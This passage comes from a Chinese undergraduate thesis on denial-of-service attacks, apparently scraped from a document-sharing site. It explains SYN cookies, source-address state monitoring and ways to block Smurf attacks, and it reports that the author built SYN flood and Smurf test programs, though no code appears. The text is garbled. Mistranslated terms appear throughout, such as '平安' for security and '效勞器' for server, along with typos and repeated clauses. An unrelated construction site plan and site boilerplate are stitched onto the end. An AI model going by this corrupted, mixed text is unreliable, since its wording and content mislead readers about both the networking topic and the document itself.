48、AC是密碼學(xué)中的一個消息認證碼函數(shù),也就是滿足某種平安性質(zhì)的帶密鑰的hash函數(shù),它能夠提供cookie計算中需要的平安性。A為客戶和效勞器雙方的IP地址和端口號以及參數(shù)t的串聯(lián)組合:A = SOURCE_IP | SOURCE_PORT | DST_IP | DST_PORT | tK為效勞器獨有的密鑰;時間參數(shù)t為32比特長的時間計數(shù)器,每64秒加1;生成cookie:cookie = mac0:24:表示取mac值的第0到24比特位;設(shè)置將要返回的SYN+ACK報文的初始序列號,設(shè)置過程如下高24位用cookie代替;接下來的3比特位用客戶要求的最大報文長度MMS代替;最后5比特位為t
49、mod 32??蛻舳耸盏絹碜孕谄鱏YN+ACK報文后,返回一個ACK報文,這個ACK報文將帶一個cookie確認號為效勞器發(fā)送過來的SYN ACK報文的初始序列號加1,所以不影響高24位,在效勞器端重新計算cookie,與確認號的前24位比擬,如果相同,那么說明未被修改,連接合法,然后,效勞器完成連接的建立過程。SYN-cookie技術(shù)由于在連接建立過程中不需要在效勞器端保存任何信息,實現(xiàn)了無狀態(tài)的三次握手,從而有效的防御了SYN Flood攻擊。但是該方法也存在一些弱點。由于cookie的計算只涉及了包頭的局部信心,在連接建立過程中不在效勞器端保存任何信息,所以失去了協(xié)議的許多功能,比方,
50、超時重傳。此外,由于計算cookie有一定的運算量,增加了連接建立的延遲時間,因此,SYN-cookie技術(shù)不能作為高性能效勞器的防御手段。通常采用動態(tài)資源分配機制,當(dāng)分配了一定的資源后再采用cookie技術(shù),Linux就是這樣實現(xiàn)的。還有一個問題是,當(dāng)我們防止了SYN Flood攻擊的同時,同時也提供了另一種拒絕效勞攻擊方式,攻擊者發(fā)送大量的ACK報文,使效勞器忙于計算驗證。盡管如此,在預(yù)防SYN Flood攻擊方面,SYN-cookie技術(shù)仍然是一種有效的技術(shù)。地址狀態(tài)監(jiān)控的解決方法地址狀態(tài)監(jiān)控的解決方法是利用監(jiān)控工具對網(wǎng)絡(luò)中的有關(guān)TCP連接的數(shù)據(jù)包進行監(jiān)控,并對監(jiān)聽到的數(shù)據(jù)包進行處理。處
51、理的主要依據(jù)是連接請求的源地址。每個源地址都有一個狀態(tài)與之對應(yīng),總共有四種狀態(tài):初態(tài):任何源地址剛開始的狀態(tài);NEW狀態(tài):第一次出現(xiàn)或出現(xiàn)屢次也不能斷定存在的源地址的狀態(tài);GOOD狀態(tài):斷定存在的源地址所處的狀態(tài);BAD狀態(tài):源地址不存在或不可達時所處的狀態(tài)。具體的動作和狀態(tài)轉(zhuǎn)換根據(jù)TCP頭中的位碼值決定:監(jiān)聽到SYN包,如果源地址是第一次出現(xiàn),那么置該源地址的狀態(tài)為NEW狀態(tài);如果是NEW狀態(tài)或BAD狀態(tài);那么將該包的RST位置1然后重新發(fā)出去,如果是GOOD狀態(tài)不作任何處理。監(jiān)聽到ACK或RST包,如果源地址的狀態(tài)為NEW狀態(tài),那么轉(zhuǎn)為GOOD狀態(tài);如果是GOOD狀態(tài)那么不變;如果是BAD
52、狀態(tài)那么轉(zhuǎn)為NEW狀態(tài);如果是BAD狀態(tài)那么轉(zhuǎn)為NEW狀態(tài)。監(jiān)聽到從效勞器來的SYN ACK報文目的地址為addr,說明效勞器已經(jīng)為從addr發(fā)來的連接請求建立了一個半連接,為防止建立的半連接過多,向效勞器發(fā)送一個ACK包,建立連接,同時,開始計時,如果超時,還未收到ACK報文,證明addr不可達,如果此時addr的狀態(tài)為GOOD那么轉(zhuǎn)為NEW狀態(tài);如果addr的狀態(tài)為NEW狀態(tài)那么轉(zhuǎn)為BAD狀態(tài);如果為addr的狀態(tài)為BAD狀態(tài)那么不變。SMURF阻塞Smurf攻擊的源頭Smurf攻擊依靠攻擊者的力量使用欺騙性源地址發(fā)送echo請求。用戶可以使用路由路的訪問保證內(nèi)部網(wǎng)絡(luò)中發(fā)出的所有傳輸信息都
53、具有合法的源地址,以防止這種攻擊。這樣可以使欺騙性分組無法找到反彈站點。阻塞Smurf的反彈站點用戶可以有兩種選擇以阻塞Smurf攻擊的反彈站點。第一種方法可以簡單地阻塞所有入站echo請求,這們可以防止這些分組到達自己的網(wǎng)絡(luò)。 如果不能阻塞所有入站echo請求,用戶就需要罅自己的路由器把網(wǎng)絡(luò)播送地址映射成為LAN播送地址。制止了這個映射過程,自己的系統(tǒng)就不會再收到這些echo請求。 如果使用Cisco路由路,制止網(wǎng)絡(luò)播送映射成為LAN播送的方法是在LAN接口的配置模式中輸入命令: no ip directed-broadcast結(jié)論通過攻擊測試,用自己實現(xiàn)的SYN攻擊程序,向效勞器端不斷發(fā)送
54、連接請求。當(dāng)效勞器接收的時候,因為沒有接收到客戶端確實認,效勞器認為是沒有建立起來的連接請求,于是為這些請求建立會話,排到緩沖區(qū)隊列中。如果SYN請求超過了效勞器能容納的限度,緩沖區(qū)隊列滿,那么效勞器就不再接收新的請求了。其他合法用戶的連接都被拒絕掉。可以持續(xù)SYN請求發(fā)送,直到緩沖區(qū)中被SYN請求充滿 。在分析攻擊原理后,向用戶提出了防止遭受SYN FLOOD攻擊的措施,這樣能使用戶減少受攻擊的程度。由于作者的水平有限,以及在程序的編寫方法上有許多缺乏,所實現(xiàn)程序的功能也達不到預(yù)期的效果,希望能在以后得到逐步改善。用代碼實現(xiàn)的SMURF程序向一個網(wǎng)絡(luò)上的多個系統(tǒng)發(fā)送定向播送的PING請求,并
55、且偽造成受害者系統(tǒng)的IP,這些系統(tǒng)接著對請求作出響應(yīng)的結(jié)果。這樣網(wǎng)絡(luò)上的所有系統(tǒng)于是對受害者系統(tǒng)作出響應(yīng),就造成了受害者系統(tǒng)所有的可用帶寬都被占用。由于在局域網(wǎng)的環(huán)境下,受害者所在網(wǎng)絡(luò)上的系統(tǒng)數(shù)目有限,即向受害者系統(tǒng)發(fā)送數(shù)據(jù)包數(shù)量受到限制,這樣受害者系統(tǒng)當(dāng)機的可能性降低。致謝通過這個畢業(yè)設(shè)計,使我對大學(xué)四年的計算機知識特別是網(wǎng)絡(luò)編程方面有了更深入的認識和理解,特別感謝李貴洋老師在整個設(shè)計過程中提供的支持與幫助。最后,向大學(xué)四年教授過我的老師以及辛勤工作在計算機學(xué)院的所有老師致以最崇高的敬禮。參考文獻1 黑客大曝光,清華大學(xué)出版社,2002年1月2 TCP SYN Flooding原理及其應(yīng)對策
56、略,網(wǎng)絡(luò)與應(yīng)用,20033 SYN Flood攻擊原理與預(yù)防方法,計算機應(yīng)用,2000The study and vealiztion of the mode of DoS attackAbstract: After analysis the two mode of attack, the author inducts the main characteristics of Denial of Service which is fashionable , and affords some defences of the attack in accordance with characteris
57、tics. By checking all sorts of references and studying many codes, the author realizes two attack programs, and makes simulation of attack in specific situation. The author also compares and analysises the result of simulation at last.Key Words: socket; message; denial of service; resource-starvatio
58、n; buffer; checksum; brocast; bandwidth-consumption; 原文已完。下文為附加文檔,如不需要,下載后可以編輯刪除,謝謝!施工組織設(shè)計本施工組織設(shè)計是本著“一流的質(zhì)量、一流的工期、科學(xué)管理來進行編制的。編制時,我公司技術(shù)開展部、質(zhì)檢科以及工程部經(jīng)過精心研究、合理組織、充分利用先進工藝,特制定本施工組織設(shè)計。工程概況:西夏建材城生活區(qū)27#、30#住宅樓位于銀川市新市區(qū),橡膠廠對面。本工程由寧夏燕寶房地產(chǎn)開發(fā)開發(fā),銀川市規(guī)劃建筑設(shè)計院設(shè)計。本工程耐火等級二級,屋面防水等級三級,地震防烈度為8度,設(shè)計使用年限50年。本工程建筑面積:27#m2;30#
59、m2。室內(nèi)地坪 m為準(zhǔn),總長27#m;30# m??倢?7#m;30# m。設(shè)計室外地坪至檐口高度18.6 00m,呈長方形布置,東西向,三個單元。本工程設(shè)計屋面為坡屋面防水采用防水涂料。外墻水泥砂漿抹面,外刷淺灰色墻漆。內(nèi)墻面除衛(wèi)生間200300瓷磚,高到頂外,其余均水泥砂槳罩面,刮二遍膩子;樓梯間內(nèi)墻采用50厚膠粉聚苯顆粒保溫。地面除衛(wèi)生間200200防滑地磚,樓梯間50厚細石砼1:1水泥砂漿壓光外,其余均采用50厚豆石砼毛地面。樓梯間單元門采用樓宇對講門,臥室門、衛(wèi)生間門采用木門,進戶門采用保溫防盜門。本工程窗均采用塑鋼單框雙玻窗,開啟窗均加紗扇。本工程設(shè)計為節(jié)能型住宅,外墻均貼保溫板。
60、本工程設(shè)計為磚混結(jié)構(gòu),共六層。根底采用C30鋼筋砼條形根底,上砌MU30毛石根底,砂漿采用M10水泥砂漿。一、二、三、四層墻體采用M10混合砂漿砌筑MU15多孔磚;五層以上采用M混合砂漿砌筑MU15多孔磚。本工程結(jié)構(gòu)中使用主要材料:鋼材: = 1 * ROMAN I級鋼, = 2 * ROMAN II級鋼;砼:根底墊層C10,根底底板、地圈梁、根底構(gòu)造柱均采用C30,其余均C20。本工程設(shè)計給水管采用PPR塑料管,熱熔連接;排水管采用UPVC硬聚氯乙烯管,粘接;給水管道安裝除立管及安裝IC卡水表的管段明設(shè)計外,其余均暗設(shè)。本工程設(shè)計采暖為鋼制高頻焊翅片管散熱器。本工程設(shè)計照明電源采用BV銅芯線
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2024年廢舊材料銷售框架合同
- 文書模板-裝卸貨高空作業(yè)合同
- 2024年建筑工程分包合同
- 玫瑰的課件教學(xué)課件
- 2024年人工智能教育平臺開發(fā)合同
- 2024醫(yī)療設(shè)備維修公司關(guān)于超聲波機器保修服務(wù)合同
- 停電停氣應(yīng)急預(yù)案(6篇)
- 2024年建筑工程機電安裝分包協(xié)議
- 2024年庫房租賃與無人機測試存放合同
- 2024年專業(yè)咨詢合作協(xié)議
- 小兒爆發(fā)性心肌炎診斷與治療課件
- 妊娠晚期促子宮頸成熟與引產(chǎn)指南
- 2022年中國鐵路國際有限公司校園招聘筆試試題及答案解析
- 海姆立克急救法完整版本課件
- 《離騷》課件教材
- 巴斯夫蘋果病害課件
- 燙金工藝基礎(chǔ)知識培訓(xùn)課件
- 《格列佛游記》 課件
- 農(nóng)藥生產(chǎn)安全管理檢查表
- 什物拼貼-完整版PPT
- 四年級英語上冊課件-Unit 4 My home-人教PEP版(共20張PPT)
評論
0/150
提交評論